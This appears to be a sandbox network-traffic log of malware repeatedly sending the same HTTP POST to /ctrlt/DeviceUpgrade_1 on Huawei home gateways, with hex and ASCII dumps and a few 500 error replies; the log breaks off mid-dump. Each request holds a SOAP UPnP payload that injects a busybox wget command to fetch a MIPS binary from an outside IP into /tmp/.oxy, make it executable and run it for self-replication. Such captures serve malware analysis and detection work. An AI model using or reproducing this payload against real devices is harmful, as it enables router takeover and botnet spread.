6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:43:38.409060001 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:43:39.721004009 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:43:42.472899914 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:43:47.848671913 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:43:58.344253063 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:44:20.615372896 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2024 03:44:22.072356939 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:44:22.375736952 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2024 03:44:30.371866941 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:44:30.591800928 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2024 03:44:35.718754053 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 